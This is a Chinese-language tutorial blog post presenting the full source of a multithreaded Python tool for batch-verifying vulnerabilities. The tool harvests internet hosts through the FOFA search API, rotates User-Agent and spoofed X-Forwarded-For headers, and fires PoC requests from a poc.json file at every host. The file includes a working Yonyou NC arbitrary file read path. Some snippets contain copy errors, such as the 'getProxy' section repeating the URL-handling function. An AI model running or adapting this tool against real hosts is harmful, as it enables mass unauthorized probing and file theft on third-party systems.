POC漏洞批量驗證程序Python腳本編寫

編寫目的

批量驗證poc,Python代碼練習。

需求分析

  • 1、poc盡可能簡單。
  • 2、多線程。
  • 3、聯動fofa獲取目標。
  • 4、隨機請求頭.

實現過程

腳本分為三個模塊,獲取poc及目標、多線程批量請求驗證、輸出結果。其中批量請求驗證包括構造多線程,修改請求參數,發送請求三個部分。

Main函數

在main函數中,主要有三個部分獲取poc及目標,多線程(將目標填充到隊列,創建多線程並啟動)、輸出結果。
具體實現如下:

def main():
    # 響應Ctrl+C停止程序
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)
    showpocs()
    ## 獲取目標
    targetList = getTarget()
    ## 多線程批量請求驗證
    thread(targetList)
    ## 輸出結果
    putTarget(List)

獲取目標

關於目標來源,設計單個目標、從文件中讀取多個目標以及根據FoFa語法從FOFA_API中獲取目標三種方式。

定義函數getTarget,函數分為兩個部分

第一部分為根據 -f Fofa語法 獲取目標,默認數目為30條,

第二部分為根據 -u url / -i file / -f num(數目,默認為10)獲取要請求驗證的目標,兩部分以是否傳參poc參數區別,最後返回一個targetList列表。

具體實現如下:

def getTarget():
    targetList=[]
    count=0
    if result.poc==None:
        if result.outfile!=None and result.fofa!=None :
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=result.fofa
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                print("FOFA搜索:"+qbase)
                fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"
                try:
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    filepath=result.outfile
                    with open(filepath,'w') as targets:
                        for i in results['results']:
                            targets.write(i[1]+'\n')
                            print(i[1])
                            count+=1
                        print("搜索結果有"+str(count)+"條,已保存在"+filepath+"裡!")
                except Exception as e:
                    print(e)
            sys.exit()
    else:
        if result.url!=None or result.file!=None or result.fofa!=None:
            # 單個目標
            if result.url!=None:
                targetList.append(result.url)
            # 文件讀取目標
            if result.file!=None:
                try:
                    filepath=result.file
                    with open(filepath,'r') as targets:
                        for target in targets.readlines():
                           targetList.append(target.strip())
                except Exception as e:
                    print(e)
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=""
                pocName = result.poc
                with open('poc.json',encoding='UTF-8') as f:
                    data = json.load(f)
                    for poc in data:
                        if pocName == poc:
                            qbase=data[poc]['fofa']
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                try:
                    fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    print("FOFA搜索:"+qbase)
                    print("搜索結果:"+str(result.fofa)+"條")
                    for i in results['results']:
                        targetList.append(i[1])
                    # print(targetList)
                except Exception as e:
                    print(e)
            return targetList
        else :
            sys.exit("參錯有誤!缺少目標!")

批量請求驗證

定義thread函數,封裝多線程請求相關代碼,需傳入獲取到的目標參數targetList。
具體實現如下:

def thread(targetList):
    ## 獲取poc
    poc=poc_load()
    ## 填充隊列
    queueLock.acquire()
    for target in targetList:
        targetQueue.put(target)
    queueLock.release()
    ## 創建線程
    threadList = []
    threadNum=result.threadNum
    for i in range(0,threadNum):
        t=reqThread(targetQueue,poc)
        t.setDaemon(True)
        threadList.append(t)
    for i in threadList:
        i.start()
    # 等待所有線程完成
    for t in threadList:
        t.join()

加載POC

請求驗證必須使用 -p pocName參數指定要使用的POC,所有POC在poc.json文件中存儲。

具體實現如下

# 加載poc
def poc_load():
    if result.poc!=None:
        poc = result.poc
        isPoc = False # POC是否存在
        # 讀取json文件
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            for key in data:
                if poc == key:
                    isPoc=True
        if isPoc==False:
            print("POC 不存在!")
            sys.exit("請通過--show查看poc列表!")
        else:
            return data[poc]
    else:
        pass

多線程類

定義reqThread線程類,傳入隊列以及poc兩個參數,封裝req請求方法。
具體實現如下:

class reqThread (threading.Thread):
    def __init__(self, q,poc):
        threading.Thread.__init__(self)
        self.q = q
        self.poc=poc
    def run(self):
        try:
            while not self.q.empty():
                queueLock.acquire()
                target=self.q.get()
                queueLock.release()
                if self.req(target):
                    print(target+" is vuln !")
                    List.append(target)
                else:
                    pass
        except Exception as e:
            pass
    def req(self,url):
        poc=self.poc
        payload=urlParse(url)+poc['request']['url']
        res=requests.request(method=poc['request']['method'],url=payload,headers=randomheaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)
        if res.status_code==200 and poc['request']['confirm'] in res.text:
            return True
        else:
            return False

其中在req中的請求方法內,存在三個修改請求的方法。

urlParse

對獲取到的目標進行文本處理。

# 處理url
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url

getProxy

指定請求代理。

# 代理
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url

randomHeaders

添加隨機User-Agent、referer、XFF等請求頭參數值。

def randomHeaders(poc):
    headers={}
    uaList=[
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36',
        'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
    ]
    refList=[
        "www.baidu.com"
    ]
    xffList=[
        '127.0.0.1',
        '51.77.144.148',
        '80.93.212.46',
        '109.123.115.10',
        '187.44.229.50',
        '190.14.232.58',
        '5.166.57.222',
        '36.94.142.165',
        '52.149.152.236',
        '68.15.147.8',
        '188.166.215.141',
        '190.211.82.174',
        '101.51.139.179'
    ]
    if 'User-Agent' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['User-Agent']=poc['request']['headers']['User-Agent']
        else:
            headers['User-Agent']=random.choice(uaList)
    if 'referer' in poc['request']['headers']:
        if poc['request']['headers']['referer'].strip()!='':
            headers['referer']=poc['request']['headers']['referer']
        else:
            headers['referer']=random.choice(refList)
    if 'X-Forwarded-For' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']
        else:
            headers['X-Forwarded-For']=random.choice(xffList)
    for key in poc['request']['headers']:
        if key != "referer" and  key != "User-Agent"  and key != "X-Forwarded-For":
            headers[key]=poc['request']['headers'][key]
    return headers

輸出結果

定義全局變量List,儲存要輸出的目標,定義輸出方法putTarget。
具體實現如下:

List=[]
## 輸出
def putTarget(resultList):
    if result.file!=None or result.fofa!=None:
        if len(resultList)!=0 :
            if result.outfile != None :
                filepath=result.outfile
                with open(filepath,'w') as targets:
                     for target in resultList:
                        targets.write(target+'\n')
                print("驗證結果有"+str(len(resultList))+"條,已保存在"+filepath+"裡!")
        else:
            print("沒有發現存在漏洞的目標!")
    else:
        pass

其他

全局變量

# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 隊列
targetQueue = queue.Queue(100)
## 鎖
queueLock = threading.Lock()
# 結果
List=[]
# FoFA
email=""
key=""

命令行讀取參數

arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10',  type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()

poc詳情顯示

## 顯示poc
def showpocs():
    isPoc = False
    if result.show != None:
        # 讀取json文件
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            if result.show== "all":
                print("pocname".ljust(20),"description".ljust(20))  
                print("----------------------------------------------")
                for key in data:
                    print(key.ljust(20),data[key]['name'].ljust(20))
            else:
                if  result.show in data:
                    print("pocname".ljust(20),"description".ljust(20))  
                    print("----------------------------------------------")
                    print(result.show.ljust(20),data[result.show]['name'].ljust(20))
        sys.exit()
    else:
        pass

Ctrl+C結束線程

# 停止程序
def quit(signum, frame):
    print('You choose to stop me.')
    sys.exit()
def main():
    # 響應Ctrl+C停止程序
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)

poc.json文件

poc本質為一次HTTP請求,本著簡單的原則,僅設計名稱、聯動fofa的語法、請求頭、請求內容、以及驗證漏洞存在回顯的內容5個字段。

{
    "pocname": {
        "name":"漏洞描述",
                "fofa":"fofa搜索字符串,特殊符號需要轉義",
        "request": {
            "method": "",
            "url":"",
            "headers": {
                "referer": "",
                "User-Agent": "",
                "X-Forwarded-For": "",
                "Content-Type": ""
            },
            "data": "",
            "confirm": "回顯字符串"
        }
    },
    "yonyounc": {
        "name": "用友NC 任意文件讀取",
                "fofa":"app=\"用友-UFIDA-NC\"",
        "request": {
            "method": "get",
            "url": "/NCFindWeb?service=IPreAlertConfigService&filename=index.jsp",
            "headers": {
            "referer": "",
                    "User-Agent": "",
                    "X-Forwarded-For": ""
                },
            "data": "",
            "confirm": "<%@ page language="
        }
    }
}

運行結果

FoFa獲取目標

poc驗證

總結

代碼實現基本功能,已暫時符合自己使用需求,此次實踐已完成編寫目的,但一些容錯機制以及細小功能點還需完善,如輸入為空程序運行結果,以及代理模塊功能待實現。

通過此次編程,在熟悉Python編程的同時也深感代碼功底的薄弱。

不過最後還是學習到不少知識,比如多線程、讀寫文件、數據類型操作、命令行參數讀取、編程模塊化思想等。
  

之後可以多嘗試使用python編寫小demo工具,避免對編程思維生疏。

完整代碼

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from argparse import ArgumentParser
import json
import base64
import random
import threading
import queue
import time
import sys,signal
# 忽略https告警
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
## 隊列
targetQueue = queue.Queue(100)
## 鎖
queueLock = threading.Lock()
# 結果
List=[]
# FoFA
email=""
key=""
arg = ArgumentParser(description='POC_Verify')
arg.add_argument('-u', dest='url',help='Target URL',type=str)
arg.add_argument('-i', '--file', dest='file',help='Scan multiple targets given in a textual file',type=str)
arg.add_argument('-f',"--fofa", dest='fofa',help='fofaquery Nums/String Example if poc -f 10 else -f "abc" default=30',default=10)
arg.add_argument('-p', dest='poc',help=' Load POC file from poc.json')
arg.add_argument('-proxy', dest='proxy',help='Use a proxy to connect to the target URL Example : -proxy http:127.0.0.1:8080',type=str)
arg.add_argument('-t', dest='threadNum',help='the thread_count,default=10',  type=int, default=10)
arg.add_argument('-show', dest='show', help='show all pocs',nargs='?',const='all',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()
class reqThread (threading.Thread):
    def __init__(self, q,poc):
        threading.Thread.__init__(self)
        self.q = q
        self.poc=poc
    def run(self):
        try:
            while not self.q.empty():
                queueLock.acquire()
                target=self.q.get()
                queueLock.release()
                if self.req(target):
                    print(target+" is vuln !")
                    List.append(target)
                else:
                    pass
        except Exception as e:
            pass
    def req(self,url):
        poc=self.poc
        payload=urlParse(url)+poc['request']['url']
        res=requests.request(method=poc['request']['method'],url=payload,headers=randomHeaders(poc),proxies=getProxy(),data=poc['request']['data'],verify=False,timeout=5)
        if res.status_code==200 and poc['request']['confirm'] in res.text:
            return True
        else:
            return False
## IP代理
def getProxy():
    proxy={}
    if result.proxy!= None:
        proxy[result.proxy[:result.proxy.index(":")]]=result.proxy[result.proxy.index(":")+1:]
    return proxy
# 處理url
def urlParse(url):
     if "https://" not in url:
        if "http://" in url:
            url=url
        else:
            url="http://"+url
     return url
# 隨機更換User-Agent、XFF、referer
def randomHeaders(poc):
    headers={}
    uaList=[
        'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X; zh-CN) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/17D50 UCBrowser/12.8.2.1268 Mobile AliApp(TUnionSDK/0.1.20.3)',
        'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36',
        'Mozilla/5.0 (Linux; Android 8.1.0; OPPO R11t Build/OPM1.171019.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 8.1.0)',
        'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.14.0 main%2F1.0 baiduboxapp/11.18.0.16 (Baidu; P2 13.3.1) NABar/0.0',
        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.10(0x17000a21) NetType/4G Language/zh_CN',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36',
        'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
        'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36',
    ]
    refList=[
        "www.baidu.com"
    ]
    xffList=[
        '127.0.0.1',
        '51.77.144.148',
        '80.93.212.46',
        '109.123.115.10',
        '187.44.229.50',
        '190.14.232.58',
        '5.166.57.222',
        '36.94.142.165',
        '52.149.152.236',
        '68.15.147.8',
        '188.166.215.141',
        '190.211.82.174',
        '101.51.139.179'
    ]
    if 'User-Agent' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['User-Agent']=poc['request']['headers']['User-Agent']
        else:
            headers['User-Agent']=random.choice(uaList)
    if 'referer' in poc['request']['headers']:
        if poc['request']['headers']['referer'].strip()!='':
            headers['referer']=poc['request']['headers']['referer']
        else:
            headers['referer']=random.choice(refList)
    if 'X-Forwarded-For' in poc['request']['headers']:
        if poc['request']['headers']['User-Agent'].strip()!='':
            headers['X-Forwarded-For']=poc['request']['headers']['X-Forwarded-For']
        else:
            headers['X-Forwarded-For']=random.choice(xffList)
    for key in poc['request']['headers']:
        if key != "referer" and  key != "User-Agent"  and key != "X-Forwarded-For":
            headers[key]=poc['request']['headers'][key]
    return headers
# 獲取目標
def getTarget():
    targetList=[]
    count=0
    if result.poc==None:
        if result.outfile!=None and result.fofa!=None :
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=result.fofa
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                print("FOFA搜索:"+qbase)
                fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size=30"
                try:
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    filepath=result.outfile
                    with open(filepath,'w') as targets:
                        for i in results['results']:
                            targets.write(i[1]+'\n')
                            print(i[1])
                            count+=1
                        print("搜索結果有"+str(count)+"條,已保存在"+filepath+"裡!")
                except Exception as e:
                    print(e)
            sys.exit()
    else:
        if result.url!=None or result.file!=None or result.fofa!=None:
            # 單個目標
            if result.url!=None:
                targetList.append(result.url)
            # 文件讀取目標
            if result.file!=None:
                try:
                    filepath=result.file
                    with open(filepath,'r') as targets:
                        for target in targets.readlines():
                           targetList.append(target.strip())
                except Exception as e:
                    print(e)
            # FOFA讀取目標
            if result.fofa!=None:
                qbase=""
                pocName = result.poc
                with open('poc.json',encoding='UTF-8') as f:
                    data = json.load(f)
                    for poc in data:
                        if pocName == poc:
                            qbase=data[poc]['fofa']
                qbase64=str(base64.b64encode(qbase.encode("utf-8")), "utf-8")
                try:
                    fofa_url="https://fofa.so/api/v1/search/all?email="+email+"&key="+key+"&qbase64="+qbase64+"&fields=title,host,ip,port,city&size="+str(result.fofa)
                    res=requests.get(fofa_url)
                    results = json.loads(res.text)
                    print("FOFA搜索:"+qbase)
                    print("搜索結果:"+str(result.fofa)+"條")
                    for i in results['results']:
                        targetList.append(i[1])
                    # print(targetList)
                except Exception as e:
                    print(e)
            return targetList
        else :
            sys.exit("參錯有誤!缺少目標!")
# 加載poc
def poc_load():
    if result.poc!=None:
        poc = result.poc
        isPoc = False
        # 讀取json文件
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            for key in data:
                if poc == key:
                    isPoc=True
        if isPoc==False:
            print("POC 不存在!")
            sys.exit("請通過--show查看poc列表!")
        else:
            return data[poc]
    else:
        pass
## 輸出
def putTarget(resultList):
    if result.file!=None or result.fofa!=None:
        if len(resultList)!=0 :
            if result.outfile != None :
                filepath=result.outfile
                with open(filepath,'w') as targets:
                     for target in resultList:
                        targets.write(target+'\n')
                print("驗證結果有"+str(len(resultList))+"條,已保存在"+filepath+"裡!")
        else:
            print("沒有發現存在漏洞的目標!")
    else:
        pass
## 顯示poc
def showpocs():
    isPoc = False
    if result.show != None:
        # 讀取json文件
        with open('poc.json',encoding='UTF-8') as f:
            data = json.load(f)
            if result.show== "all":
                print("pocname".ljust(20),"description".ljust(20))  
                print("----------------------------------------------")
                for key in data:
                    print(key.ljust(20),data[key]['name'].ljust(20))
            else:
                if  result.show in data:
                    print("pocname".ljust(20),"description".ljust(20))  
                    print("----------------------------------------------")
                    print(result.show.ljust(20),data[result.show]['name'].ljust(20))
        sys.exit()
    else:
        pass
# 停止程序
def quit(signum, frame):
    print('You choose to stop me.')
    sys.exit()
def thread(targetList):
    ## 獲取poc
    poc=poc_load()
    ## 填充隊列
    queueLock.acquire()
    for target in targetList:
        targetQueue.put(target)
    queueLock.release()
    ## 創建線程
    threadList = []
    threadNum=result.threadNum
    for i in range(0,threadNum):
        t=reqThread(targetQueue,poc)
        t.setDaemon(True)
        threadList.append(t)
    for i in threadList:
        i.start()
    # 等待所有線程完成
    for t in threadList:
        t.join()
def main():
    # 響應Ctrl+C停止程序
    signal.signal(signal.SIGINT, quit)
    signal.signal(signal.SIGTERM, quit)
    showpocs() 
    ## 獲取目標
    targetList = getTarget()
    ## 多線程批量請求驗證
    thread(targetList)
    ## 輸出結果
    putTarget(List)
if __name__ == '__main__':
    main()

以上就是POC漏洞批量驗證程序Python腳本編寫的詳細內容,更多關於python腳本編寫POC批量漏洞驗證的資料請關註WalkonNet其它相關文章!

推薦閱讀: